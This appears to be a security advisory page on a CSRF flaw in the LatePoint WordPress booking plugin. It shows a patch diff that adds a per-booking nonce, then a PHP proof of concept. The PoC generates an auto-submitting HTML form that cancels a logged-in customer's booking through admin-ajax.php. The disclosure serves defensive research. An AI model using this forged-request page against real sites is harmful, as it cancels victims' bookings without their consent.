 			'header-footer-elementor',
 			'latepoint',
 			'modern-cart',
+			'power-coupons',
 			'presto-player',
+			'sigmize',
 			'surecart',
+			'surecontact',
+			'surecookie',
+			'suredash',
 			'sureforms',
 			'suremails',
 			'surerank',
@@ -58,8 +62,7 @@
 			'wp-schema-pro',
 			'zipwp'
 		];
-
-
+
 		/**
 		 * This function will help to determine if provided slug is a valid bsf product or not,
 		 * This way we will maintain consistency through out all our products.
@@ -72,10 +75,10 @@
 			if ( empty( $slug ) || ! is_string( $slug ) ) {
 				return false;
 			}
-
+
 			return in_array( $slug, self::$bsf_product_slugs, true );
 		}
-
+
 		/**
 		 * This function updates value of referer and product in option
 		 * bsf_product_referer in form of key value pair as 'product' => 'referer'
@@ -86,36 +89,36 @@
 		 * @return void
 		 */
 		public static function update_referer( $referer, $product ) {
-
+
 			$slugs       = [
 				'referer' => $referer,
 				'product' => $product,
 			];
 			$error_count = 0;
-
+
 			foreach ( $slugs as $type => $slug ) {
 				if ( ! self::is_valid_bsf_product_slug( $slug ) ) {
 					error_log( sprintf( 'Invalid %1$s slug provided "%2$s", does not match bsf_product_slugs', $type, $slug ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 					$error_count++;
 				}
 			}
-
+
 			if ( $error_count > 0 ) {
 				return;
 			}
-
+
 			$slugs = array_map( 'sanitize_text_field', $slugs );
-
+
 			$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
 			if ( ! is_array( $bsf_product_referers ) ) {
 				$bsf_product_referers = [];
 			}
-
+
 			$bsf_product_referers[ $slugs['product'] ] = $slugs['referer'];
-
+
 			update_option( BSF_UTM_ANALYTICS_REFERER, $bsf_product_referers );
 		}
-
+
 		/**
 		 * This function will  add utm_args to pro link or purchase link
 		 * added utm_source by default additional utm_args such as utm_medium etc can be provided to generate location specific links
@@ -127,41 +130,39 @@
 		 * @return string
 		 */
 		public static function get_utm_ready_link( $link, $product, $utm_args = [] ) {
-
+
 			if ( false === wp_http_validate_url( $link ) ) {
 				error_log( 'Invalid url passed to get_utm_ready_link function' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 				return $link;
 			}
-
+
 			if ( empty( $product ) || ! is_string( $product ) || ! self::is_valid_bsf_product_slug( $product ) ) {
 				error_log( sprintf( 'Invalid product slug provided "%1$s", does not match bsf_product_slugs', $product ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 				return $link;
 			}
-
+
 			$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
-
+
 			if ( ! is_array( $bsf_product_referers ) || empty( $bsf_product_referers[ $product ] ) ) {
 				return $link;
 			}
-
+
 			if ( ! self::is_valid_bsf_product_slug( $bsf_product_referers[ $product ] ) ) {
 				return $link;
 			}
-
+
 			if ( ! is_array( $utm_args ) ) {
 				$utm_args = [];
 			}
-
+
 			$utm_args['utm_source'] = $bsf_product_referers[ $product ];
-
+
 			$link = add_query_arg(
 				$utm_args,
 				$link
 			);
-
+
 			return $link;
 		}
 	}
 }
-
-
--- a/latepoint/lib/views/customer_cabinet/_booking_tile.php
+++ b/latepoint/lib/views/customer_cabinet/_booking_tile.php
@@ -37,7 +37,7 @@
 				   data-os-prompt="<?php esc_attr_e('Are you sure you want to cancel this appointment?', 'latepoint'); ?>"
 					   data-os-success-action="reload"
 					   data-os-action="<?php echo esc_attr(OsRouterHelper::build_route_name('customer_cabinet', 'request_cancellation')); ?>"
-					   data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id])); ?>"
+					   data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id], 'cancel_booking_' . $booking->id)); ?>"
 					<i class="latepoint-icon latepoint-icon-ui-24"></i>
 					<span><?php esc_html_e('Cancel', 'latepoint'); ?></span>
 				</a>
--- a/latepoint/lib/views/settings/general.php
+++ b/latepoint/lib/views/settings/general.php
@@ -526,13 +526,13 @@

                 <div class="sub-section-row">
                     <div class="sub-section-label">
-                        <h3><?php esc_html_e( 'Contribute', 'latepoint' ) ?></h3>
+                        <h3><?php esc_html_e( 'Improve LatePoint', 'latepoint' ) ?></h3>
                     </div>
                     <div class="sub-section-content">
                         <div class="os-row">
                             <div class="os-col-lg-12">
 								<?php
-                                    $ctl_sub_label = __( 'Collect non-sensitive information from your website, such as the PHP version and features used, to help us fix bugs faster, make smarter decisions, and build features that actually matter to you. %1$sLearn More%2$s', 'latepoint' );
+                                    $ctl_sub_label = __( 'Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions. %1$sLearn More%2$s', 'latepoint' );

                                     $ctl_sub_label = sprintf(
                                         $ctl_sub_label,
@@ -543,7 +543,7 @@
                                     $ctl_option_value = get_option( 'latepoint_usage_optin', 'no' );
                                     $ctl_is_active = $ctl_option_value === 'yes' ? true : false;

-                                    echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Contribute to LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
+                                    echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Help shape the future of LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
                             </div>
                         </div>
                     </div>
--- a/latepoint/lib/views/wizard/setup.php
+++ b/latepoint/lib/views/wizard/setup.php
@@ -4,7 +4,7 @@
 }
 ?>
 <div class="os-wizard-setup-w step-<?php echo esc_attr($current_step_code); ?>">
-	<a href="<?php echo esc_url(OsRouterHelper::build_link(OsRouterHelper::build_route_name('dashboard', 'index'))); ?>" class="os-wizard-close-trigger"><span><?php esc_html_e('Skip setup', 'latepoint'); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
+	<a href="#" data-route-name="<?php echo esc_attr( OsRouterHelper::build_route_name( 'wizard', 'skip_setup' ) ); ?>" class="os-wizard-close-trigger os-wizard-skip-btn"><span><?php esc_html_e( 'Skip setup', 'latepoint' ); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
 	<div class="os-wizard-setup-i">
 		<div class="os-wizard-step-content-w">
 			<div class="os-wizard-step-content">
--- a/latepoint/lib/views/wizard/steps/_personal_info.php
+++ b/latepoint/lib/views/wizard/steps/_personal_info.php
@@ -28,9 +28,17 @@
             </div>
             <div class="os-row">
                 <div class="os-col-12">
-                    <?php echo OsFormHelper::checkbox_field( 'personal_info[email_optin]', __( 'Get notified about updates, tips and new features from LatePoint.', 'latepoint' ), 'on', $wizard_email_optin === 'on' ); ?>
+                    <?php
+						echo OsFormHelper::checkbox_field(
+							'personal_info[email_optin]',
+							// translators: %1$s and %2$s are opening and closing anchor tags for Privacy Policy link
+							sprintf( __( 'Stay in the loop and help shape LatePoint! Get feature updates, and help us build a better LatePoint by sharing how you use the plugin. %1$sPrivacy Policy%2$s', 'latepoint' ), '<a href="https://latepoint.com/privacy-policy/" target="_blank">', '</a>' ),
+							'on',
+							$wizard_email_optin === 'on'
+						);
+					?>
                 </div>
             </div>
         </form>
     </div>
-</div>
 No newline at end of file
+</div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5365 - LatePoint <= 5.3.2 - Cross-Site Request Forgery via 'customer_cabinet__request_cancellation' AJAX Route

/**
 * This PoC demonstrates how an attacker can trick a logged-in customer into
 * cancelling a booking via CSRF. The victim must be logged into WordPress
 * and have a valid booking with the provided ID.
 *
 * Usage:
 *   php CVE-2026-5365-poc.php
 *
 * The script generates an HTML page that, when visited by a logged-in victim,
 * automatically submits a CSRF request to cancel their booking.
 */

// Configuration - Edit these values
$target_url = 'http://example.com';  // WordPress site URL (no trailing slash)
$booking_id = 1;                     // Target booking ID to cancel

// Generate output
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$action = 'customer_cabinet__request_cancellation';

?>
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5365 Proof of Concept</title>
</head>
<body>
    <h1>LatePoint Booking Cancellation CSRF PoC</h1>
    <p>If you are logged into the target site, your booking (ID: <?php echo (int)$booking_id; ?>) will be cancelled.</p>
    <form id="csrf_form" action="<?php echo htmlspecialchars($ajax_url, ENT_QUOTES, 'UTF-8'); ?>" method="POST">
        <input type="hidden" name="action" value="<?php echo htmlspecialchars($action, ENT_QUOTES, 'UTF-8'); ?>">
        <input type="hidden" name="id" value="<?php echo (int)$booking_id; ?>">
        <input type="submit" value="Click here to trigger cancellation (simulates user action)">
    </form>
    <script>
        // Auto-submit the form after 2 seconds to demonstrate clickless CSRF
        setTimeout(function() {
            document.getElementById('csrf_form').submit();
        }, 2000);
    </script>
    <p>If the form does not auto-submit, click the button above.</p>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School